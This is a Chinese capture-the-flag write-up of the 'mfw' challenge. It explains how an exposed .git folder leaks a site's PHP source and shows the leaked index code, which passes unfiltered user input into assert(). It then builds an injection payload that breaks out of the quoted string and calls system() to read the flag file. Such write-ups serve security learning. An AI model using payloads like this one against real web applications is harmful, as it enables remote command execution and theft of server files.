当前大量开发人员使用git进行版本控制，对站点自动部署。如果配置不当，可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。

危害
攻击者可以利用该漏洞下载git文件夹里的所有内容。如果文件夹内有敏感信息比如站点源码、数据库账户密码等，攻击者可能直接控制服务器。

mfw

1)点开，没发现什么有用的

 2）继续

 3）发现有Git，可能是Git泄露，直接/.git

 4）一个个点看看，在index中，ps打开

<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}
       //以get方式获得一个page变量，如果没有，则设置为home
           
$file = "templates/" . $page . ".php";
	//将page变量拼接成一个templates下的php文件，设置为变量file

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
        //判断file中是否有" .. "，如果有则直接退出
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!")

?>

5） 其中assert()函数会将括号中的字符当成代码来执行，并返回true或false，strpos()函数会返回字符串第一次出现的位置，如果没有找到则返回False

6）于是重心就放在file变量中，发现file变量是用我们输入的page变量拼接而成的，而且没有任何的过滤，我们可以在这段输入的字符中插入system函数来执行系统命令

$file = "templates/" . $page . ".php";

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

7）注意到调用file时用的单引号和括号来限制file的范围
于是可以构造url为

page=a ') or system("cat templates/flag.php");//

8）因为在strpos中只传入了a，所以其肯定返回false，在利用or让其执行system函数，再用" // "将后面的语句注释掉

9）回车，查看源码

 

---